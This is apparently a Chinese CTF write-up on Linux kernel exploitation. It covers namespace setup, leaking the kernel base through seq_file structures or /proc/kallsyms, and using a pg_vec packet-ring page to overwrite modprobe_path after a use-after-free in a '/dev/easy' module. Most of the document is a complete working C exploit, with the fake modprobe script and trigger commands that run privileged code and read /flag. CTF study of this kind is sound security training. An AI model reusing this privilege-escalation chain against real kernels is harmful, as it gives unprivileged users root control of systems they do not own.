Table of Contents
setup 准备工作
void unshare_setup() { char edit[0x100]; int tmp_fd;
// from lib pthread unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
// from lib fcntl tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); sprintf(edit, "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit));
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);}这个函数的目的是为当前进程配置新的名字空间,尤其是
mount、user和network名字空间,确保进程在新的名字空间中有隔离的环境。此外,它通过设置 UID 和 GID 映射来确保进程在新的用户名字空间中以 root 用户身份 (UID 0) 运行,但在主机系统中仍保持原有的 UID 和 GID。这种做法通常用于容器技术或者其他需要进程隔离的场景。
如何泄露地址
seq_vec
什么结构体可以利用可以参考这个博客 kernel exploit 有用的结构体——spray&victim — bsauce
可以利用 seq_file 【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3’s blog
序列文件接口(Sequence File Interface)是针对 procfs 默认操作函数每次只能读取一页数据从而难以处理较大 proc 文件的情况下出现的,其为内核编程提供了更为友好的接口
kallsyms 可读
其实这里可以不用泄露地址,直接读 kallsyms 文件就可以:
void read_line(int fd, char *buf, uint32_t size) { char tmp; for (uint32_t i = 0; i < size - 1; i++) { read(fd, &tmp, 1); if (tmp == 0xa || tmp == 0) { buf[i] = 0; break; } buf[i] = tmp; }}
void leak_with_kallsyms() { int kallsyms_fd = open("/proc/kallsyms", O_RDONLY); char buf[0x30];
while (1) { read_line(kallsyms_fd, buf, sizeof(buf)); if (strstr(buf, "startup_64")) { char hex[0x20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &kbase); print_hex("kbase", kbase); break; } }}更改 modprobe_path
-
usma
利用 mmap 的方式,用户态和内核态共享一段内存这样来修改内核里面 UAF 的 page
modprobe_path
modprobe_path 指向乐 modprobe 程序。何时触发:
构造一个非法的文件头,如
ffffffff,促使内核进入call_modprobe函数
计算 modprobe_path 地址的方式
>>> elf=ELF("vmlinux")[*] '/mnt/e/ctf/2024/08 wdb/06d0521d9874d6adc5f2d8f8b7ade315/vmlinux' Arch: amd64-64-little Version: 4.9.337 RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0xffffffff81000000) Stack: Executable RWX: Has RWX segments>>> hex(elf.sym["modprobe_path"]-0xffffffff81000000)'0xe58b80'pg_vec
可以利用 pg_vec 实现一个页面的写入
这个结构体可能在配置 socket 和 ring 的时候分配。setsockopt 是用来做这些设置的系统调用。这些操作通常用来优化数据包的发送性能,有效组织和管理数据包。
pg_vec 数组中的每个元素(struct pgv)都有一个 buffer 字段,该字段指向一个已经分配好的内存页。每个 buffer 用于存储协议栈需要处理的数据包或网络帧。
struct pgv { char *buffer; // 指向一个 page};先从源码的层面理解这些功能,有一个使用的例子:RX_RING is capturing TX_RING packets
我的 exp
#ifndef _GNU_SOURCE#define _GNU_SOURCE#endif
#include <arpa/inet.h>#include <fcntl.h>#include <inttypes.h>#include <linux/if_ether.h>#include <linux/if_packet.h>#include <net/if.h>#include <pthread.h>#include <signal.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <unistd.h>#include <sys/ioctl.h>
#define SEQ_NUM 0x100#define SEQ_SIZE 0x20
uint32_t mod_fd;uint64_t kbase;uint64_t modprobe_path_addr = 0xe58b80;int32_t seq[SEQ_NUM+0x1000];
// 设置 rx ring 的版本和一些参数void packet_socket_rx_ring_init(uint32_t s, uint32_t block_size, uint32_t frame_size, uint32_t block_nr) { // setup version int32_t v = TPACKET_V3; // 版本 3 zero-copy setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
// setup ring struct tpacket_req3 req = { .tp_block_size = block_size, .tp_frame_size = frame_size, .tp_block_nr = block_nr, .tp_frame_nr = (block_size * block_nr) / frame_size, .tp_sizeof_priv = 100 };
setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));}
int32_t packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr) { /* AF_PACKET: Low-level packet interface SOCK_RAW: Provides raw network protocol access. ETH_P_ALL: Every packet that matches the protocol type will be received. */ int32_t s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr);
struct sockaddr_ll sa = {.sll_family = PF_PACKET, .sll_protocol = htons(ETH_P_ALL), .sll_ifindex = if_nametoindex("lo")};
// 配置套接字绑定信息,绑定到环回接口 // lo,使得它只接收来自该接口的以太网数据包。 bind(s, (struct sockaddr *)&sa, sizeof(sa));
return s;}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void unshare_setup() { char edit[0x100]; int tmp_fd;
// from lib pthread unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
// from lib fcntl tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); sprintf(edit, "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit));
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);}
void leak() { mod_fd = open("/dev/easy", O_RDWR); ioctl(mod_fd, 0, SEQ_SIZE); // alloc
for (uint32_t i = 0; i < SEQ_NUM; i++) { seq[i] = open("/proc/self/stat", O_RDONLY); if (i == SEQ_NUM / 2) { ioctl(mod_fd, 1); // free } }
char buf[0x100] = {0}; read(mod_fd, buf, SEQ_SIZE); for (uint32_t i = 0; i < SEQ_SIZE; i += 8) { print_hex("seq", *(uint64_t *)(buf + i)); } kbase = *(uint64_t *)buf - 0x25bcc0; print_hex("kbase", kbase);
modprobe_path_addr += kbase; print_hex("modprobe_path_addr", modprobe_path_addr);
/* output: ffffffffae65bcc0 ffffffffae65bd00 ffffffffae65bce0 ffffffffae6aad80
gef> kbase [+] Wait for memory scan kernel text: 0xffffffffae400000-0xffffffffaecb6000 (0x8b6000 bytes) kernel rodata: 0xffffffffaee00000-0xffffffffaf200000 (0x400000 bytes) kernel data: 0xffffffffaf200000-0xffffffffafa00000 (0x800000 bytes) */}
void get_flag() { system("echo -ne '#!/bin/sh\ncat /flag > /tmp/flag\nchmod +x /tmp/flag' > /tmp/fakemp"); system("chmod a+x /tmp/fakemp"); system("echo -ne '\xff\xff\xff\xff' > /tmp/exec"); system("chmod a+x /tmp/exec"); system("/tmp/exec ; cat /tmp/flag"); // system("/bin/sh");}
void hack_modprode_path() { // block_size = 0x1000 一页
ioctl(mod_fd, 0, SEQ_SIZE); // alloc ioctl(mod_fd, 1); // free uint64_t modprobe_path_addr_base = modprobe_path_addr & ~0xfff; uint32_t i = SEQ_NUM;
while (1) { // 为什么设置成 0x1000 和 3 // 因为为了让 pg_vec 属于 0x20 的大小 int packet_fd = packet_socket_setup(0x1000, 2048, 32 / 8 - 1); printf("fd %d\n", packet_fd); write(mod_fd, &modprobe_path_addr_base, 8);
uint64_t page;
page = (uint64_t) mmap(NULL, 0x1000*3, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fd, 0); uint64_t tmp_path = page + (modprobe_path_addr & 0xfff); if (!strcmp((char *)tmp_path, "/sbin/modprobe")) { printf("find modprobe_path\n"); print_hex("tmp_path", tmp_path); strcpy((char *)tmp_path, "/tmp/fakemp"); munmap((char *)page, 0x1000*3); get_flag(); break; }
seq[i] = open("/proc/self/stat", O_RDONLY); i++;
}}
int main() { unshare_setup(); printf("start leak address\n"); leak(); printf("start attack modprode_path\n"); hack_modprode_path();
return 0;}